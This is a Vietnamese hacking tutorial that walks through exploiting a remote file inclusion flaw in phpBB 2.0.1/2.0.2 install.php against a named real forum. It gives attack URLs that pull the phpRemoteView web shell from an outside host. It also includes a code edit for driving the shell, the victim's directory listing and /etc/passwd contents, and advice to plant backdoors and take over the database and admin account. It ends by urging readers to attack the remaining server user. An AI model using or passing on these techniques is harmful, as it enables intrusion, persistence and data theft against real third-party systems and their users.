Sử dụng REM VIEW để xem file trên Server

Sử dụng REM VIEW để xem file trên Server

Sử dụng REM VIEW để xem file trên Server :

trang này đã được đọc lần

Lỗi sử dụng ở đây là lỗi trong file install.php của forum phpBB 2.0.1 và 2.0.2, các forum dạng này và dính lỗi này rát khổ biến trên NET và Luke đã không khó để có thể chọn random một site làm ví dụ

http://www.cyberantics.net/forum/

Bước 1:

Kiểm tra xem site đó còn file install.php hay không

http://www.cyberantics.net/forum/install.php và may mắn câu trả lời là có

Chúng ta cần chú ý về mã nguồn PHP của nó một chút

Quote

Và đồng thời tôi nhập URL sau http://www.cyberantics.net/forum/install.php?phpbb_root_dir=http:// www21.brinkster.com/hainamluke/ kết quả nhận được là

Quote

*Index of /var/www/html/forum/ REMVIEW TOOLS

>> [dir commands]

type name size owner:group perms mtime

DIR admin hackman hackman drwxr-xr-x 20/05/02 08:28:36

DIR contrib hackman hackman drwxr-xr-x 20/05/02 08:28:37

DIR db hackman hackman drwxr-xr-x 20/05/02 08:28:38

DIR docs hackman hackman drwxr-xr-x 20/05/02 08:28:42

DIR images hackman hackman drwxr-xr-x 20/05/02 08:28:45

DIR includes hackman hackman drwxr-xr-x 20/05/02 08:28:47

DIR language hackman hackman drwxr-xr-x 20/05/02 08:28:47

DIR templates hackman hackman drwxr-xr-x 20/05/02 08:28:51

??/a> ??/a> common.php 5 316 hackman hackman -rw-r r 20/05/02 08:28:36

??/a> ??/a> config.php 271 hackman hackman -rw-r r 23/05/02 19:17:13

??/a> ??/a> extension.inc 810 hackman hackman -rw-r r 20/05/02 08:28:42

??/a> ??/a> faq.php 3 596 hackman hackman -rw-r r 20/05/02 08:28:42

??/a> ??/a> groupcp.php 45 881 hackman hackman -rw-r r 20/05/02 08:28:42

??/a> ??/a> index.php 14 298 hackman hackman -rw-r r 20/05/02 08:28:47

??/a> ??/a> install.php 33 617 hackman hackman -rw-r r 20/05/02 08:28:47

??/a> ??/a> login.php 6 996 hackman hackman -rw-r r 20/05/02 08:28:50

??/a> ??/a> memberlist.php 12 112 hackman hackman -rw-r r 20/05/02 08:28:50

??/a> ??/a> modcp.php 33 764 hackman hackman -rw-r r 20/05/02 08:28:50

??/a> ??/a> posting.php 34 073 hackman hackman -rw-r r 20/05/02 08:28:50

??/a> ??/a> privmsg.php 68 622 hackman hackman -rw-r r 20/05/02 08:28:51

??/a> ??/a> profile.php 3 834 hackman hackman -rw-r r 20/05/02 08:28:51

??/a> ??/a> search.php 40 471 hackman hackman -rw-r r 20/05/02 08:28:51

??/a> ??/a> update_to_201.php 24 899 hackman hackman -rw-r r 20/05/02 08:29:08

??/a> ??/a> upgrade.php 57 040 hackman hackman -rw-r r 20/05/02 08:29:08

??/a> ??/a> viewforum.php 23 181 hackman hackman -rw-r r 20/05/02 08:29:09

??/a> ??/a> viewonline.php 7 231 hackman hackman -rw-r r 20/05/02 08:29:09

??/a> ??/a> viewtopic.php 45 435 hackman hackman -rw-r r 20/05/02 08:29:09

phpRemoteView, version 2002-08-05 Free download - php.spb.ru/remview

Nói vậy chắc các bạn cũng đã hiểu qua về lỗi này

Nếu các bạn thay mã nguồn của file remview kia bằng một file dạng DBManager thì bạn có thể access tới toàn bộ DB của victim và lên Admin dễ dàng

Bây giờ tôi xin nói chi tiết hơn về cách sử dụng remview dạng này

Nếu bạn muốn sử dụng remview như là đang có một file thật trên server của victim thì bạn phải edit đoạn

mã sau trong file

http://www21.brinkster/hainamluke/includes/functions_selects.php

########## FIND ###########

$self=$HTTP_SERVER_VARS['PHP_SELF'];

#########################

######### REPLACE #########

$self= "http://www.cyberantics.net/forum/install.php?phpbb_root_dir=http://www21.brinkster.com/ hainamluke/&";

#########################

Vậy là tạm ổn tuy nhiên cách sửa này chỉ áp dụng được với 50% công dụng của nó Cụ thể là ko dùng được remview tools như shell command, upload, edit

Khi bạn nhập URL sau http://www.cyberantics.net/forum/install.php?phpbb_root_dir=http://

www21.brinkster.com/hainamluke/&c=l&d=%2Fetc bạn sẽ có kết quả như MSVN làm với VDC UNIX server Đối với các server khác các bạn nên dùng remview access sang các User, tìm điểm yếu nhất của nó (chmod

666 trở lên) và đặt một vài con Backdoor khác

Đây là một vài thông tin về server

::::::::::::::

/etc/passwd

::::::::::::::

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

news:x:9:13:news:/var/spool/news:

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

operator:x:11:0:operator:/root:/sbin/nologin

games:x:12:100:games:/usr/games:/sbin/nologin

gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

nobody:x:99:99:Nobody:/:/sbin/nologin

xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/nologin

nscd:x:28:28:NSCD Daemon:/:/bin/false

mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash

ntp:x:38:38::/etc/ntp:/sbin/nologin

rpm:x:37:37::/var/lib/rpm:/bin/bash

gdm:x:42:42::/var/gdm:/sbin/nologin

apache:x:48:48:Apache:/var/www:/bin/false

rpc:x:32:32:Portmapper RPC user:/:/bin/false

named:x:25:25:Named:/var/named:/bin/false

rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin

nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin

postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash

ident:x:98:98:pident user:/:/sbin/nologin

pcap:x:77:77::/var/arpwatch:/bin/nologin

squid:x:23:23::/var/spool/squid:/dev/null

mailnull:x:47:47::/var/spool/mqueue:/dev/null

ldap:x:55:55:LDAP User:/var/lib/ldap:/bin/false

hackman:x:500:500:Ramon Yvarra:/home/hackman:/bin/bash

ahleron:x:501:501:Jason Rogers:/home/ahleron:/bin/bash

-

Server mới có 2 user là hackman và ahleron Các bạn thử làm thịt thằng còn lại xem